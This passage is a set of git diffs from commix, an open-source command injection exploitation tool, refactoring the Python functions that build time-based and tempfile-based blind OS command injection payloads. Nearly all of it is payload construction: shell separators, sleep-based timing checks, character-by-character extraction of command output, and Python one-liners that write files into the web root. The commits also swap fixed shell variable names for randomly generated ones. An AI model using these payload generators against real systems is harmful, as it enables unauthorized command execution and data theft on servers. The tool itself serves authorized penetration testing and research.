else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + - settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) # New line fixation diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b3f8132439..9133bdd859 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -205,7 +205,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -289,6 +288,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 2be487ca76..6543bec2b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cf37741fbd825f328237ed487997cec99a807ac6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Feb 2025 07:26:13 +0200 Subject: [PATCH 532/560] Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based") --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 90 ++++++++-------- .../techniques/tempfile_based/tfb_payloads.py | 100 +++++++++--------- src/core/tamper/backticks.py | 4 +- src/utils/settings.py | 10 +- 5 files changed, 105 insertions(+), 100 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3738be395f..f182ee27bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). ## Version 4.0 (2024-12-20) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index c8254d5fa7..6e898bc6cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -46,11 +46,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -62,11 +62,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -111,8 +111,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -124,8 +124,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (ampersand + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -184,10 +184,10 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -198,11 +198,11 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length $" + settings.RANDOM_VAR_GENERATOR + ")" + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) @@ -211,7 +211,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) ) @@ -248,8 +248,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -261,8 +261,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) @@ -318,13 +318,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. - "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -eq $str ]" + separator + + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -336,13 +336,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -389,8 +389,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -401,8 +401,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -456,8 +456,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me else: if separator == ";" or separator == "%0a": payload = (separator + - "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "if [ " + str(ascii_char) + " -eq $str ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -468,8 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + separator + - "[ " + str(ascii_char) + " -eq $str ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) @@ -513,8 +513,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt else: if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -525,8 +525,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 9133bdd859..2fbbf84fc8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -51,12 +51,12 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -67,11 +67,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str} " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) @@ -121,8 +121,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -135,8 +135,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) @@ -207,18 +207,18 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + cmd + 